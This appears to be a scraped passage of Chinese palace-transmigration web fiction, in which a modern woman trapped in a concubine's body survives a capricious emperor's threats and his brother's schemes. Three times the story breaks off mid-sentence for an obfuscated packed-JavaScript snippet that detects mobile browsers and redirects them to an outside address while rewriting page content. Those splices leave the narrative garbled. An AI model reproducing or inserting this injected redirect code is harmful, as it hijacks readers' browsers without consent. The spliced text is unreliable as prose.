这绿茶般的言语和矫揉造作的模样,是夏星辰面对了整整三年,也是受尽委屈的三年;在现代的她,一直是一个勤勤恳恳的工作牛马,为了那一点窝囊月薪,每天都要做着所有人的活;即使吃尽苦头,受尽哑巴亏,她也不敢辞职。只因为自己无论从哪方面去看,都只是一个在人海中都找不到的普通人,没有人托举,没有人在意。 用以前她们对待自己的方式去对待贵妃,只是因为萧诗柔陷害自己的方式正像她们那样,而夏星辰自己再也不愿意当那个受气包了。 毕竟,人,只能窝囊一次! 跟随尧让来到御书房,林贤很熟练地没有走进去,而是站在外面将门带上。 在夏星辰还未反应过来时,皇帝转过身,一手狠狠地掐住了她的脖子,随着力道越来越紧,她也越来越难以呼吸。 “你当真以为朕不敢杀你是吗?居然敢利用朕?苏清夕,朕怎么不知晓,你如此有心机?” 夏星辰抬起右手拼命的拍打着他那只捏自己脖子的右手,示意自己真的快被掐死了。 尧让这狗皇帝的性情真是反复无常啊,也有点病,怎么会有人天天那么爱生气,生气就算了,还特别喜欢杀人。 紧接着下一秒,她就被狠狠地推到地上!来不及去感受身上的疼痛,好不容易脱离了那股快死掉的窒息感,此刻她正贪婪地呼吸着新鲜的空气。 妈呀,她刚刚真的差点死了!想到这,夏星辰手臂上的鸡皮疙瘩都被吓出来了。 一想到他无缘无故掐自己脖子,夏星辰就来气,抬起头看着他,阴阳怪气地说道:“是啊,陛下肯定认为臣妾有心机啊,毕竟,臣妾在您心里可不就是那样的人吗?论心机,臣妾在陛下面前可谓是关公面前耍大刀!陛下明明知道是贵妃陷害臣妾,却只禁足她三天,而臣妾什么都没做,却在刚才,差点被陛下杀了。” 自己一股气说出口这番话,然后再看到尧让脸上的神情逐渐阴沉,她瞬间就后悔了。 完蛋了!! 就在她以为自己彻底完蛋的时候,尧让突然冷笑了一声,开口说道:“苏清夕,你变化还真是大啊,看来,冷宫的惩罚对你来说是挺重的。不过,你这番变化究竟是自己醒悟了,还是继续执迷不悟?” “是,当初是臣妾做错事情了,如今出了冷宫,自然是再也不想回去了。臣妾与陛下说过的话是真的,陛下若不信,时间会帮臣妾证明,只是,臣妾有个不情之请,不求陛下像包青天一样铁面无私,至少也别偏袒得太明显。您心里清楚,如果今天您没来,对臣妾的惩罚可就不仅仅是禁足三天,或者再次打入冷宫,臣妾会死的,陛下!”夏星辰一鼓作气把自己的不满说了出来,尤其是最后那句话的语气非常的重。 反正横竖都是死,她也管不了那么多,总要在危机中博得一线生机吧! “朕以为你为了你的意中人,连死都不怕呢。” “神经病啊,臣妾凭什么为了他连死都不怕,倒是陛下您,您与贵妃娘娘之间情谊深厚是你们的事情,臣妾不想当你们这份情感中Play的一环,因为,臣妾不想莫名其妙地死掉。” 夏星辰俨然就是一副死马当活马医的表情,将想说的话大声地说了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575490|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没等到尧让再次开口,她努力压制自己不满,大声说道:“陛下若没什么事,臣妾就先告退了。” “你......苏清夕,你好大的胆子!” 她没有理会尧让发作的怒气,一转过身,门就在同一时间被推开了。进来的正是皇帝身边的太监林贤;只是这一次与上次在冷宫不同的是,林贤的身后还跟着两名御林军。 不至于吧!这狗皇帝这么玩不起?此时,夏星辰只觉得脖子凉飕飕的...... “陛下。”林贤刚恭恭敬敬地说出这两个字。 下一刻,夏星辰回过身,“噗通”一声跪下;这已经是她为了保命的最后“手段”,她可不想落得跟冬儿一样的下场。 “陛下,我......错了错了,臣妾不是故意要凶您的。刚刚就是臣妾在跟您开一个小玩笑而已,别当真啊,陛下。”夏星辰说完话,抬眼看着他,送上了一个堪称一绝的甜美笑容。 “滚出去,别在这碍着朕的眼。” 夏星辰面露难色:“滚......滚出去?陛下,臣妾不会滚啊,爬行不行?” 此话一出,林贤和身后的御林军强忍住笑意,拼命咬住下唇才没让笑声跑出来。 尧让眉头紧锁,黑色的眸子中不见半分的戏谑,脸上的神情严肃:“那就走出去,实在不行,就把腿砍了,让他们把你拉出去。” “不用不用,不用这么麻烦别人。我自己走,马上走,马上走,陛下您别生气。” 夏星辰再也不敢再待在这里了,心脏被吓得快吐出来了。一听到狗皇帝让她走出去,她立刻发挥出自己百米冲刺最佳成绩的速度跑出了御书房。 殿内的人看着跑得没影的夏星辰,震惊得张大了嘴巴...... 总算是离那御书房远些了,夏星辰此时已经顾不上形象,她靠着墙调整着自己上气不接下气的呼吸。 “天啊,好久没跑这么快了,我真是命苦啊,穿越穿到这样一个冤种身上,还摊上了这么一位性情无常的狗皇帝。”夏星辰失魂落魄地往寝宫走去,嘴里嘟囔着:“救命啊,我到底要怎么样才能回去啊。” 拖着狼狈的身躯回到寝宫,小莲一见到她,便跑上去搀扶:“娘娘,您总算是回来了,您没事吧?” “没事没事,小莲你这次做得很好。” 虽然那狗皇帝也很难伺候,但至少萧诗柔这几天是不会再找她麻烦了;这多亏了小莲真把那狗皇帝引去萧诗柔那里去,不然,她还真的不知道怎么脱身呢。 “娘娘,奴婢......没见到陛下。” “什么?没见到?那他是怎么出现在贵妃寝宫的?时机拿捏得那么好。”夏星辰一脸茫然。 小莲诚实相告:“奴婢去找陛下时,被拦在了极咸宫外,根本就没见到陛下。” 夏星辰倒没想得多复杂,随意摆了摆手,不愿意再去揣测:“随便吧,估计他是去找贵妃的,恰好碰到了这戏剧性的一幕;今天真是命运多舛,好几次差点死了,在皇宫里活着也太难了吧。” 随着肚子发出了抗议的声音,她神情委屈的说道:“小莲,你快去,快去给我弄吃的,我快饿晕了。” 5. 可不能当汉奸 好不容易过了几天安生的日子,没想到,如此来之不易的和平便被打破了。 “娘娘,娘娘,不好了。”小莲着急忙慌地跑进来说道。 正在啃鸡腿的夏星辰被她这么一喊吓得鸡腿差点掉在地上。 “怎么了?小莲,你能不能不要一惊一乍的,贵妃又找我了?”她边咀嚼着嘴里的食物边说话,脸上一副云淡风轻的表情。 她实在是想不到除了萧诗柔想找她的麻烦之外,还有谁会那么无聊。 “不是贵妃娘娘,是林贤公公来了。” 一提到林贤,她们的脑中都会出现那该死且不愿回首的画面;冬儿的死状就像一根手指上的倒刺,时不时就勾得她们神经紧绷。 “他来做什么?” 在夏星辰倍感困惑的时候,林贤站在寝宫外,开口说道:“明妃娘娘,陛下传召,请您移步御书房。” “好,知道了。”夏星辰敷衍地回应了他, “怎么回事啊?这晚膳时间,狗皇帝找我做什么?一想到要见他,我就不禁犯怵。”夏星辰看着手中的鸡腿,瞬间觉得不香了。 小莲把声音放低:“娘娘,我听其他婢女说,显王殿下因上次您坐龙辇回宫之事耿耿于怀,今日还特意暗里挑衅陛下,是不是因为这件事啊......” “那个王八蛋是不是有大病啊,自己想死就去死,拉我做什么?他这样肆意妄为挑衅皇威,陛下不生气?” “听闻显王殿下深受太后的疼爱与偏袒,反倒是陛下与太后的关系很不好;想必是碍于太后的颜面,陛下才会对显王殿下一再忍让,况且,陛下才登帝五年的时间,即便是暗里知晓了他的别有心思,明面上也不好戳穿。” 夏星辰思考了一小会儿,得出了一个自己认为的结论:“所以,他不杀我,不会是因为他以为我是那尧显的女人,然后以此来刺激尧显?我靠,我是他们两兄弟的皮球啊!”她突然反应过来:“不对啊,那尧显狼子野心,一旦他要是篡位失败了,那我这个帮凶会被诛九族的!不行,我不能成为汉奸啊。” 话一说完,她的脑子里全是古代那对陷害忠臣的夫妻石像还跪在现代的某个地方被鞭打呢;夏星辰摇了摇头,使自己清醒,自己绝对不要落得那样的下场,这也太惨了! “娘娘,汉奸是什么呀?” “这怎么跟你解释呢,总之,如果我真的助那显王篡位成功了,那我就真的是臭名昭著的大汉奸了。”夏星辰此刻真是想死的心都有了。 怀着忐忑的心情来到这她不愿意再踏入的御书房,她老实的就在殿外等着,直到林贤将她带了进去。 还是相同的情景,林贤一看到她进去,就在外面把门给带上了。 只是这一次,尧让没有坐在御书房的椅子上,而是坐在他休息的软榻上。 夏星辰看着他,他身上现在没有穿着那身黑金色的龙袍,可即便如此,帝王的气质还是如此的震慑人心。 相比于帝王气质,眼前的尧让只穿了一件单薄的里衣;夏星辰将目光落在那若隐若现的腹肌上。这也怪不得她,自从夏星辰第一眼见到皇帝,便对他这副俊美模样很是喜欢。 毕竟,哪个女孩子不喜欢长得帅的男人呢!光是看一眼心情都无比愉悦。 这么仔细一看他那如雕像的脸,夏星辰不禁暗自赞叹,尧让这狗皇帝还真是长得无比帅气!她一直以为皇帝要处理的事情很多,大多数都是秃头小宝贝了,没想到,尧让却不在这个赛道里。 如此直面一个男人的腹肌,还真是挺不好意思的。但此刻,她得眼睛就像粘在腹肌上一般移不开,嘴角也不受控制地咧开,傻呵呵的笑声趁着自己没察觉之时发出了声。 “很好看吗?” 夏星辰诚实地点点头,那抹傻笑仍然挂在脸上。 “那就把眼睛挖掉吧。” 突如其来的一句话,她脸上的笑容便被紧急收回,假笑道:“陛下您还真是开不得玩笑啊,臣妾只是觉得陛下长得实在是太好看了,身材又好,一时失了分寸,才犯起了花痴,请陛下恕罪。” 夏星辰说的是实话,她从听过的广播剧里大概了解到这本小说的主角,眼前的这位俊美皇帝是男二,那个狼子野心的显王才是这本小说的男主;男二都帅得没有王法,这男主得多帅啊? “今日,朕的王兄来见朕,谈起了你与他年少时的情谊,朕羡慕得紧,一时之间不知怎么回应他,不如,你来替朕回答。” “羡慕?陛下,一个无关紧要的王八蛋有什么好羡慕的?再说了,臣妾又不喜欢他,不知陛下让臣妾回答什么啊?”夏星辰小心翼翼地开了口,看向他的眼神中也满是怯懦。 毕竟,全天下谁都不喜欢被戴绿帽子;更何况眼前这个九五之尊的皇帝!而夏星辰如今顶着原主苏清夕这个身份,这个哑巴亏注定是要打碎了,然后硬生生咽下去。 尧让站起身,一步步走到她身前:“不喜欢他?你对他一直不都是情深意重吗?朕没记错的话,你当初可是为了他,连太子妃的位置都不要呢,甚至还以命相威胁,最后让先帝不得不将你与太子的婚约作废;如今,你居然说你不喜欢他了,怎么?朕这么好骗吗?” 他离得她太近了,近得她连呼吸都显得尤为艰难。 “臣妾没骗你啊,现在是真的不喜欢......臣妾要怎么证明臣妾不喜欢他,陛下才会相信呢?” 话音刚落,此时的殿外却传来林贤的声音:“陛下,显王殿下求见。” 皇帝不禁冷笑出声,他看着夏星辰,说道:“来得还挺快呢。不妨你同朕一起看出好戏啊......” 什么鬼啊,这个死人渣怎么来了?这一刻,怎么那么像奸夫□□被正宫抓奸的现场呢? 门被推开,小说的男主角尧显登场了。夏星辰回过头看去,这一看,直接让她两眼发黑,随即闭上眼不愿意再将目光落在他身上。 这就是小说里的男主?认真的吗? 夏星辰此时此刻更是想不明白了,原主究竟是看上了这尧显什么了,图他什么啊?这模样虽说不丑,但与俊俏也沾不了边啊;更是远远不及尧让这皇帝的万分之一啊。 人们都说了,找男二不要找太帅的!很明显,这本书的作者非常不听劝,也间接证明了,她得多不喜欢尧显这个男主啊!这么一对比,尧让简直就是得到了作者大大的偏袒。 男二能混到这地步,也算是很牛逼了! “臣见过陛下。”尧显语气恭敬,姿态端正。 一旁的夏星辰看他如此矫揉造作的做派,原来是谦谦公子人设啊。 尧显看着尧让身上的单薄里衣,再看了一眼衣衫完整的夏星辰。眼下已是过了晚膳时辰,皇帝与夏星辰在御书房会面,定然是行那男女之事,他才觉得自己真是小瞧了这位明妃了。 “王兄见朕,所谓何事啊?” “陛下,臣今早所言,绝非有意挑衅陛下,实在是一时失言,自知冒犯天威,心中惶恐不安。太后已然训诫过臣,臣不敢再有半分逾越,特此前来请陛下恕罪;另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575491|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外,臣与明妃娘娘年少之时相识,一直将她视为臣的妹妹看待,臣与她绝无半分逾礼之举,天地可鉴。” 这招此地无银三百两,将夏星辰陷入了一处岌岌可危的险境;她心中暗骂了好几遍乌龟王八蛋,仍然觉得气未消。 明明就是故意而为之,还惺惺作态似的来向尧让恕罪。究竟是恕罪,还是挑衅啊,死渣男。 在尧让还未开口时,夏星辰先一步开口自证清白:“臣妾惶恐,实在是不知显王殿下此话究竟为何意。的确,臣妾承认,年少无知时曾心悦于他,更是因这份情感犯下诸多错事,过往种种,是臣妾眼盲心瞎,如今幡然醒悟,当初的念想早就不复存在了。” 说罢,夏星辰看着尧让,眼神异常坚定:“臣妾是陛下的女人,自然只心悦于陛下。” 夏星辰此番话,虽然并不能让尧让相信她,但至少撇清了她跟尧显之间那不正当的关系;她不知道原主是怎么想的,可如今,这副身体是夏星辰的,自然以她的想法为主。 再说了,她的确是真的不喜欢尧显这个丑男人,肯定不可能因为这个人渣白白送了性命,更不愿背负汉奸的骂名。 她毕竟是皇帝亲封的明妃,按照位份来说,尧显是要尊敬她的;而她说的话,完美的澄清了二人之前被传的谣言,更是完美的断了他要拉自己篡位的恐怖念头。所以,纵然尧显再心生不满,也找不到发作的理由。 “是……是臣唐突了。” 明显能听得出来,尧显说这话的时候是咬牙切齿的。 “罢了,王兄,今早之事,朕并没放在心上,王兄不必介怀。日后这种小事,就不必要特地前来寻朕,每次回答王兄同样重复的话,朕实在是累得紧。”说这话时,尧让的脸上浮现了不耐烦的表情。 随后,他便摆了摆手:“若无其他要事,就退下吧。” “是,陛下!” 看到尧显离开后,夏星辰开心地笑了出来:“什么玩意儿啊,竟想让我做背锅大侠,做你的春秋大梦去吧。” “行了,戏演完了就退下吧。”尧让又重新坐回了软塌上。 “戏?什么戏?”夏星辰恍然大悟道:“陛下,你还不信我?” 尧让抬眼看着她,眼神里没有一丝信任:“信你?这可是一步险棋,你与他是否有关系,于朕而言,本就是一件无关紧要的事。朕让你来此处,也是想知晓你们之间的情谊有多深厚,原来,不过如此。” 夏星辰这才猛然想起来,在小说里,尧让这位皇帝虽是太后所生,但却自小受尽冷落与打骂;从未得到过一丝的偏爱。残酷的夺嫡之争也是全然靠着自己才坐上了如今的帝位。 难怪,性格才会这般的专横暴戾。 哎,无论身处哪个时代,不被爱的那一个做什么都是错的。 “苏清夕,你给朕记住了。”尧让的眼神中瞬间萌生杀意:“朕不管你们今日是否串通好演给朕看的,还是其他上不得台面的计谋,朕的皇权,无论是谁,碰了是要付出代价的。” 夏星辰愣住了,强烈的恐惧感瞬间侵袭全身;此时她已经被尧让这杀意吓得说不出话了。 “你还站在那里做什么?出去!”这语气简直参杂了过多的不善,使得夏星辰身体不禁打了一个寒颤。 经过刚才那一遭,夏星辰总算是明白了,自己想要活下去,就得先取得尧让的信任。所以,为了证明自己对他忠心耿耿,一步一步走过去,然后小心翼翼地坐在他身旁;笑着说道:“陛下,良宵难得,早些安歇吧。” 6. 以一只手换他们无罪 小说里都是这么写的,一个男人是拒绝不了一个漂亮女人投怀送抱的。但显然,不是所有男人都是这样;夏星辰失败了! “离朕远点,你那只手若是碰到朕,朕立即废了它,你可一试。” 话音刚落,夏星辰那只悬在半空的手便默默地收了回来,她站起身,嘟囔道:“那臣妾不是想着证明臣妾对您的忠心吗?” “忠心?究竟是忠心,还是想怀龙种啊?” 苍天啊,她险些是忘记了还有龙种这一说;原主一开始的目的就是想怀个龙种,借此帮助那个人渣尧显。 但她夏星辰可没有这般龌龊的心思啊! “陛下明鉴,臣妾真没有。”夏星辰大声喊了出来,试图以声音的大小来证明自己的无辜。 “那你说,这是什么?”尧让说着便用力地抓住她那只蠢蠢欲动的手。 随即低头一看,竟露出了不可思议的神情;看着夏星辰手上的砭石,他松开了紧握住的手。 夏星辰从他的眼神中可以看得出来,他的确是在防备她。这也很正常,苏清夕本来就带着目的靠近他,如今却让他相信眼前人对他忠心耿耿,是个正常人都不会信的。 所以,夏星辰自知这件事不能着急,得慢慢来。只是,眼前这位专横暴戾的君王挺难伺候,她首先必须要保证自己能在他身边活下去。 在这之前,得先讨好这个狗皇帝! “臣妾只是想给陛下您放松放松,即便给臣妾天大的胆子,臣妾也不敢对陛下有什么非分之想啊,您放心,臣妾这手艺很厉害的,毕竟是花钱学的。”夏星辰笑着说道。 这倒是所言不假,夏星辰长年在办公室久坐不动,久而久之便有了一身的毛病,所以就自己掏腰包专门去学了一套肌肉筋膜松解之法。 “陛下,您试试?臣妾手艺很好的,保证您做完之后呢,就会露出幸福的表情,就像这样。”夏星辰说完后,露出了一个只有现代人才懂得的一个开心的表情:“哇哦~” 看着她如此奇怪的表情,尧让语气慵懒:“好啊。那便试试,如果并没有像你说的那般所谓舒服,你就把触碰朕的那只手留下来。” 果然!这狗皇帝就是狗,免费给他服务,他不知道感恩就算了,还想着要剁她一只手??伴君如伴虎这句话真是没毛病。 “放心吧,陛下,臣妾不会给您剁掉臣妾一只手的机会的。”夏星辰信誓旦旦道。 随后,这套松解之法便开始了,为了方便行事,她让林贤拿来了古代的“润肤露”。 “陛下,能否将您的腰背部露出来?” 为了防止他以为自己要谋害他,夏星辰无辜的眨巴着自己的眼睛,试图让他放宽心:“林公公就在殿外,臣妾哪有那胆子谋害您?是不?臣妾真的就只是因为看您平日总为朝廷之事担忧,难免会有身体疲乏之苦,所以想着给您松松肌肉,您就信臣妾一回。” 她说的话听起来很诚恳,所以,尧让没说什么,将身上那件本就单薄的里衣脱了下来。这不脱不要紧,一露出那完美的上半身,夏星辰花痴病便又犯了,她目不转睛地盯着那上半身看,视线仿佛像磁石一般牢牢地粘在他那分明的八块腹肌上,越看越喜欢。 “苏清夕,看来你这双眼睛是真的不想要了。” 意识到自己脑子里这些乱糟糟的想法,再加上尧让的威胁,为了自己这条狗命,说什么都不能再对他起色心了。 毕竟,色狼活不了太久。 她语气略显慌张:“不是不是,那还是想要的,陛下,您趴下,臣妾要开始了。” 随着尧让趴下后,夏星辰凭借着自己熟练的手法,将砭石放在尧让的腰上。 “陛下,可能会很痛,您要忍住,并且要答应臣妾,绝对不能生气啊。”夏星辰提醒着他,以免他因为这种小事杀了她。 “别废话。” 夏星辰手握砭石,从腰线处稳稳发力,缓缓向背上的方向推移。 “啊!痛......痛!”尧让猛地抽了口气,一声低呼冲破牙关,带着平日里绝对不会显现的狼狈。 “陛下,您忍忍,马上就好了。”夏星辰边哄着他边继续手上的活,丝毫没有因为他喊痛而停下。 殿外的林贤听到尧让的痛呼,他神情严肃地大声问道:“陛下,您没事吧?陛下?” 尧让虽然听到了他的声音,但此时身体上的痛让他无法回应他。 下一刻,林贤不管三七二十一,直接推开了门,径直跑了进去,跟随他跑进去的还有身后的几个御林军。 这一看,林贤整个人都呆住了。 从他的角度看过去,看到的是夏星辰就这样坐在床旁,抚摸着裸露上身的尧让。 这样的情景,林贤从未见过,更未曾想过。 “结束了,陛下。” 总算是结束了,夏星辰累得大口喘着气,她也算是意识到这副身躯的无用了,就做这点小事,已经是累得不行了。 尧让坐起身,将里衣穿好,目光却停留在林贤的身上。 “陛下饶命,奴才知错了,奴才不应该贸然闯进来。”林贤低下头,声音极低。 夏星辰明显能感觉到这御书房内的空气正在逐渐凝固,偷偷瞥了一眼脸上怒气乍现的尧让后,她立即一点点地移动脚步站到旁边,以防他将这怒火迁怒到自己身上。 他眼神微眯,语气中夹杂着危险之意:“这种错你都能犯?朕留你有什么用。” 林贤连忙跪下,身后的御林军也不敢站着,纷纷跪下,似乎是在等着受惩罚。 明明他们是听到了狗皇帝那叫声,才会义无反顾地跑进来,万一皇帝遭人暗算,失了性命,那这罪就不是更重了?所以,刚才那情形,谁敢不跑进来? “狗皇帝就是狗皇帝!一点道理都不讲。”夏星辰在内心暗骂着。 “你们几个,统统去廷尉狱领罚。”他的话里没带半个重字,可每个字都透着必须如此的决绝。 廷尉狱?这不是古代那个受酷刑的地方吗? 夏星辰看着林贤和御林军脸上都显现出慌张的神情,立刻就能猜到那个廷尉狱有多恐怖了。 果然是个草芥人命的暴君,就这点芝麻小事而已,至于送去那种地方? “苏清夕,朕看你的表情,似乎是觉得朕残暴且不近人情?”此时他的目光不知道何时已经落到了傻站着的夏星辰身上了。 被他这句话吓到,夏星辰侧过头看向他,膝盖刚要作出那下意识反应的动作时,尧让的喝声像一道惊雷,猝然砸了下来。 “不必跪!说话就行。” 这可是他让她不跪的,夏星辰得到命令后就乖乖地站着,知道说多错多,便打算一直沉默着...... “你想救他们?” 夏星辰心里犹豫了一下,这是什么意思?什么叫她想救他们?这哪里是她能做主的。 “什么意思啊?陛下。”她小声地询问着。 “想救他们不难, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575492|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你把你一只手留下来,朕便赦免他们无罪,如何?”尧让脸上的神情平静得可怕,语气淡然,像在说一件无足轻重的小事。 但是,夏星辰可就不平静了。尧让这是想要剁了她的手!这样冷酷无情的话在他嘴里轻飘飘的,传进她耳里却重如泰山,砍下一只手,得多痛啊。再说了,用现代医学常识来说,砍掉的手不及时处理,可是会要命的! 她到底该不该答应?这会不会是尧让这个狗皇帝对她的试探?行吧,赌一把,万一他是在试探她,这份恩情可足够让林贤他们对她感恩戴德了。 “好吧,陛下你砍吧。”夏星辰伸出自己的左手,闭上眼睛转过头,脸上害怕的表情已经显露无疑。 跪着的林贤和御林军神情无比诧异地看向夏星辰,他们印象中的明妃虽是将军之女,但性子却是相当刁蛮跋扈,怎的会为了救他人而甘愿涉险? “林贤,你们几个好好感谢明妃吧,毕竟,她同意以一只手换你们性命。”尧让嘴角上扬,尽显得意。 听到尧让这番话,林贤等人即刻叩拜:“奴才多谢明妃娘娘救命之恩。” 夏星辰抬起眼皮,只敢掀开一道极细的眼缝,摆了摆手:“没事,你们可快走吧,我现在并还不是很想看到你们。” 话一说完,她便又紧紧闭上了眼睛。 征得了尧让的同意后,林贤等人立即退了下去;而后,那道门又重重地被关上。 此时的夏星辰害怕死了,她伸出的左手早就因为极度的恐慌而失去控制般抖动着。 这份极度的恐惧在她听到剑从剑鞘中拔出后的刺耳声里彻底绷不住了。她浑身猛地一颤,当下就后悔了,然后便将自己的左手收了回来。 她转过身,随即睁开双眼,一看到眼前的尧让,再定睛一看他那手里的剑。她害怕的跪了下来,连忙抱住了他的大腿,眼泪这时也不听使唤地因为害怕夺眶而出:“陛下,我害怕,我真的害怕,能不能不砍我的手啊?以别的方式换他们性命行不行?” “哦?那你说,以什么方式?”尧让没有因为她的害怕而生出怜悯之心,反而语气中的玩味之意丝毫未减。 “什么都可以,只要你不杀我,什么都可以的。”夏星辰是真的害怕,就连仅剩的那点骨气也荡然无存。 “站起来。” 她乖乖地站起身,等待着尧让下一步的“惩罚”。 “出去吧!身为将军之女,你竟这般没出息?这点小事就把你吓得哭了出来?你还当真辜负了苏老将军平日里对你的教诲啊。”尧让边语气淡然地说话边将手中的剑归入剑鞘之中。 夏星辰突然大哭了出来:“我没出息?我从来都没听过这样子无理的要求,怎么会有人想要别人的手啊?明明就是你吓我,你还说我没出息,你是皇帝怎么了?皇帝也不能滥杀无辜啊。” 此时已经是顾不上害怕了,她再继续那样装矜持和试探下去,迟早要死在这位暴君手里。 索性不管三七二十一,死就死了吧。 “你是在说朕滥杀无辜?” “难道不是吗?陛下,你就因为这样的小事就杀人?那他们不顾一切冲进来不还是为了你的安危吗?人家在外面叫你,你又不应人家,难道他不应该冲进来吗?若是你真的遭人暗算,他们没有进来,那你岂不是要诛人家九族;咱们也要讲点道理吧,再说了,你是有什么特殊癖好吗?非要我的手,怎么?你要把一只血淋淋的手放在你的床头催眠吗?你也不觉得瘆人?” 7. 恶心的礼物 她把自己内心的的话一次性说了出来,说完就后悔了;因为此时此刻,眼前这位暴君的脸色尤为的阴沉;他看向她时的眼眸里只剩下深不见底的寒潭,那翻涌着几乎要破堤而出的杀意,像一把冰冷的刀刃,刮得她脊背发麻。 “既然如此害怕朕,又何必入宫为妃?你为了你那意中人,自甘堕落,哪怕成为他人的女人,你也丝毫不在意名声,相比于他要你做的那些事,而朕只是要你一只手,你竟觉得朕残暴无情?”说着,尧让冷笑出了声。 他走回软塌边坐下,冰冷的目光落在她身上,那眼神就像蛰伏的猛兽正在盯着猎物。 而眼前瑟瑟发抖的夏星辰,就是他的猎物。 “陛下您打住啊,我可不会为了他自甘堕落,自己没本事就算了,竟然想让女人给他铺路,白日做梦呢。”夏星辰往前走了一步,看着他,认真地说道:“还有,陛下,我要给你普及一个医学常识......” “哦?看你这表情,似乎是对朕极其不满啊!”尧让饶有兴趣地看着她。 “没有不满,我只是觉得这个常识很重要。陛下,呃......是这样的,正常来说,砍掉一只手,若是不及时去医院处理,那可是要因为流血过多休克的,而休克......它是会死人的,主要是古代有没有这个技术我也不是很清楚......” 尧让完全听不懂她说的话是什么意思,脸上浮现出的不耐烦已经很明显了:“苏清夕,你要是不会说人话,你可以闭嘴。” “我要说的很简单。陛下,手不能乱砍的!”夏星辰言简意赅表达出了自己内心真正的想法。 说着,她便笑嘻嘻地双手在胸口前比划了一个爱心的手势:“而且,臣妾进宫为妃,是因为臣妾对陛下很是喜欢哦,与他人无关。” 面对她这些莫名其妙的“攻势”,尧让也是完全看不懂,心中的怒火本就不盛,自然而然便熄灭得所剩无几。 没办法,尧让这种类型的男人,正是夏星辰最喜欢的,不仅是样貌长得优秀,而且主要是身材比例也太好了。纵使他性情反复无常,但也不耽误她沉迷他的□□。 纯纯受虐体质啊! 越是被这种“邪恶思想”占据脑子,人的胆子就会越来越大,最终走向犯罪的道路。 如梦初醒的夏星辰拍了拍自己的头,试图想把那些“邪恶思想”从脑子里赶出去。 “夏星辰啊夏星辰,他可是暴君,怎么敢对他有非分之想的?按照历史进程来看,他有可能是你的老祖宗,不可以对祖宗不敬。”她喃喃自语道。 “你在那里嘟囔什么呢?不想走了?难不成想留下来侍寝?” 夏星辰被那俩关键字拉回过神,她看着他,不可思议地确认道:“陛下,你要我侍寝啊?不好吧?我一个母胎单身狗没做过那种事,我......我不是很熟练呢。” 她的这番话,竟惹得尧让嘴角上扬:“哦?既然如此,那你便回去好好想个透彻,下次你若是还不懂得侍寝的规矩,那就另外一只手也没必要留了,今日欠下的这只手,下次一起清算。” 尧让说这话时,嘴角噙着点若有若无的笑意,语气里的戏谑甚至藏都藏不住。 一想到自己双手可能不保,她脑海中闪过了一个应对之策,笑了笑道:“陛下,过几日臣妾送您一份礼物,关于侍寝这件事,臣妾一定回去好好想想啊。” “怎么?还不退下?难不成,你这是不舍得走了?” “那倒不是......臣妾现在就走,陛下晚安!”话音刚落,夏星辰转过身,马不停蹄地跑了出去,一刻也不敢多待,生怕尧让后悔放她走。 接下来的两天,夏星辰一直忙着准备给尧让的“大礼”。在看到自己的成品后,她忍不住笑出了声:“这份大礼,狗皇帝应该非常喜欢;若是讨得他开心,他就会赏赐我一些礼物,哇塞,得值多少钱啊。” 脑海中已经开始臆想自己拿着尧让赏赐的那些如珍品般的礼物回到了现代,然后将这些珍品拿去售卖;最后赚得盆满钵满。光是想着这些画面,足够让她心花怒放,不自觉地发自内心大笑了出来。 为了实现自己心中所想之事,她将那份“大礼”扛在肩上;小莲看着眼前被黑布包着,看不清具体形状的古怪之物,疑惑地问道:“娘娘,这是何物啊?” “低调点,这可是我为陛下准备的大礼;这份大礼若是成功讨得陛下欢心,我们的好日子就要来了。”夏星辰边说话边大笑,脸上的喜悦彻底压制不住了。 随即,她便将心中所想付诸行动,扛着那份“大礼”往御书房走去;好不容易走到御书房门口,却听到里面传来尧让冷漠的声音:“既然什么话都不愿意说,那活着便没用了。” 话音刚落,夏星辰便清清楚楚地听到重物落地的声音;那声音清晰地砸在心头,沉闷又带着某种皮肉坠地的实感。答案很明显,这分明就是一个人倒在地上的声音。 林贤从里面走了出来,朝着夏星辰躬身说道:“娘娘,请。” 一踏进去,她便看到躺在地上的尸体;而目光却被尸体身上的剑所吸引,她记得很清楚,这就是前些天,尧让持着它说要砍了她手的那把剑;如今却稳稳地贯穿于尸体的咽喉之中,没有一丝一毫地偏差。 这血腥的场面比她见到冬儿的死状场面还要令她生理不适,没忍住将一个时辰前吃下去的东西全吐了出来。 “怎么?害怕了?”尧让冰冷的声音进入她的耳中。 夏星辰不敢再看那倒在地上的尸体,诚实地点了点头:“陛下,臣妾又没有杀过人,当然害怕。” 这是她穿书这么些日子以来,第一次直观地看到如此血腥的画面,对于她这个从文明时代过来的人,怎么会不怕呢。 